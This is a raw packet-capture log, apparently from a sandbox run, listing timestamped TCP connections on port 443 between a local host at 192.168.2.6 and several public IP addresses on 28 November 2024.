Nov 28, 2024 00:19:27.083758116 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.083765030 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.083800077 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.091193914 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.091207981 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.091242075 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.091248989 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.091280937 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.091301918 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.091969013 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.091991901 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.092037916 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.092053890 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.092071056 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.092092991 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.099277973 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.099293947 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.099351883 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.099359989 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.099396944 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.100294113 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.100317001 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.100344896 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.100353956 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.100379944 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.100400925 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.106250048 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.106266975 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.106304884 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.106312037 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.106338024 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.106359959 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.109308958 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.109327078 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.109359980 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.109368086 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.109394073 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.109416008 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.117106915 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.117136955 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.117166042 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.117176056 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.117206097 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.117225885 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.126142025 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.126162052 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.126235008 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.126244068 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.126291037 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.126367092 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.134490967 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.134507895 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.134593010 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.134602070 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.134692907 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.143357992 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.143374920 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.143445015 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.143452883 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.143729925 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.152322054 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.152343035 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.152420044 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.152429104 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.152724981 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.254250050 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.254272938 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.254318953 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.254332066 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.254364014 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.254384041 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.261149883 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.261168003 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.261254072 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.261265993 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.261307955 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.269257069 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.269273996 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.269337893 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.269345045 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.269395113 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.277199030 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.277219057 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.277271032 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.277278900 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.277307034 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.277327061 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.285271883 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.285288095 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.285331964 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.285339117 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.285366058 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.285389900 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.292753935 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.292768955 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.292821884 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.292829990 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.292870045 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.299797058 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.299813032 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.299871922 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.299879074 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.299945116 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.302480936 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.302505970 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.302557945 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.302582026 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.302633047 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.307893038 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.307912111 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.307975054 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.307986021 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.308017969 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.310398102 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.310419083 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.310477018 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.310487986 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.310539961 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.315505028 CET	443	49753	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.315952063 CET	49753	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.315975904 CET	443	49753	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.316411972 CET	49753	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.316418886 CET	443	49753	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.318947077 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.318964958 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.319024086 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.319034100 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.319092035 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.326402903 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.326421976 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.326479912 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.326489925 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.326669931 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.335016966 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.335036993 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.335130930 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.335140944 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.336214066 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.342933893 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.342951059 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.343022108 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.343031883 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.343687057 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.351598978 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.351618052 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.351708889 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.351717949 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.351830006 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.360055923 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.360074997 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.360146046 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.360155106 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.360194921 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.363919973 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.363980055 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.364645004 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.365159035 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.365170956 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.365267992 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.365273952 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.370769978 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.370795012 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.371535063 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.371721983 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.371736050 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.449527025 CET	443	49750	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.449634075 CET	443	49750	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.449728012 CET	49750	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.449913025 CET	49750	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.449929953 CET	443	49750	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.449950933 CET	49750	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.449956894 CET	443	49750	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.452779055 CET	49758	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.452820063 CET	443	49758	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.453056097 CET	49758	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.454829931 CET	49758	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.454842091 CET	443	49758	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.455183983 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.455203056 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.455277920 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.455286980 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.455363035 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.458631039 CET	443	49749	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.458700895 CET	443	49749	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.458899021 CET	49749	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.458921909 CET	49749	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.458935976 CET	443	49749	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.458945990 CET	49749	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.458950996 CET	443	49749	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.461330891 CET	49759	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.461357117 CET	443	49759	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.461464882 CET	49759	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.461597919 CET	49759	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.461605072 CET	443	49759	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.463288069 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.463318110 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.463381052 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.463388920 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.463433027 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.471286058 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.471304893 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.471506119 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.471518993 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.471915007 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.478286028 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.478305101 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.478385925 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.478394032 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.478485107 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.486329079 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.486345053 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.486418009 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.486426115 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.486499071 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.493855000 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.493874073 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.493933916 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.493941069 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.493997097 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.501807928 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.501823902 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.501893997 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.501899958 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.501939058 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.503067017 CET	443	49751	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.503143072 CET	443	49751	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.503238916 CET	49751	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.503457069 CET	49751	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.503463984 CET	443	49751	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.506314993 CET	49761	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.506337881 CET	443	49761	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.506459951 CET	49761	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.506639957 CET	49761	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.506653070 CET	443	49761	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.509979010 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.509998083 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.510056973 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.510063887 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.510113955 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.513504982 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.513526917 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.513573885 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.513591051 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.513618946 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.513644934 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.521194935 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.521223068 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.521276951 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.521286011 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.521320105 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.521339893 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.529670954 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.529690027 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.529742956 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.529751062 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.529802084 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.538289070 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.538309097 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.538367033 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.538377047 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.538887978 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.545715094 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.545732021 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.545797110 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.545806885 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.546830893 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.553632975 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.553651094 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.553709030 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.553719997 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.553754091 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.553764105 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.562310934 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.562326908 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.562374115 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.562387943 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.562412977 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.562431097 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.570749044 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.570765972 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.570832014 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.570841074 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.571296930 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.571954966 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.572012901 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.572021008 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.572035074 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.572060108 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.572140932 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.572140932 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.572221041 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.578953028 CET	49762	443	192.168.2.6	23.218.208.109
Nov 28, 2024 00:19:27.578970909 CET	443	49762	23.218.208.109	192.168.2.6
Nov 28, 2024 00:19:27.579233885 CET	49762	443	192.168.2.6	23.218.208.109
Nov 28, 2024 00:19:27.580282927 CET	49762	443	192.168.2.6	23.218.208.109
Nov 28, 2024 00:19:27.580296993 CET	443	49762	23.218.208.109	192.168.2.6
Nov 28, 2024 00:19:27.656898975 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.656920910 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.656985998 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.656995058 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.657054901 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.666116953 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.666146994 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.666181087 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.666193008 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.666224003 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.666243076 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.672060013 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.672087908 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.672128916 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.672136068 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.672166109 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.672194958 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.682162046 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.682205915 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.682238102 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.682243109 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.682276011 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.682297945 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.688066959 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.688101053 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.688183069 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.688189983 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.688198090 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.688225031 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.696233034 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.696264029 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.696320057 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.696326017 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.696371078 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.696378946 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.701284885 CET	443	49754	20.234.120.54	192.168.2.6
Nov 28, 2024 00:19:27.701354027 CET	49754	443	192.168.2.6	20.234.120.54
Nov 28, 2024 00:19:27.701368093 CET	443	49754	20.234.120.54	192.168.2.6
Nov 28, 2024 00:19:27.701380968 CET	443	49754	20.234.120.54	192.168.2.6
Nov 28, 2024 00:19:27.701421976 CET	49754	443	192.168.2.6	20.234.120.54
Nov 28, 2024 00:19:27.701458931 CET	49754	443	192.168.2.6	20.234.120.54
Nov 28, 2024 00:19:27.701473951 CET	443	49754	20.234.120.54	192.168.2.6
Nov 28, 2024 00:19:27.701483011 CET	49754	443	192.168.2.6	20.234.120.54
Nov 28, 2024 00:19:27.701519012 CET	49754	443	192.168.2.6	20.234.120.54
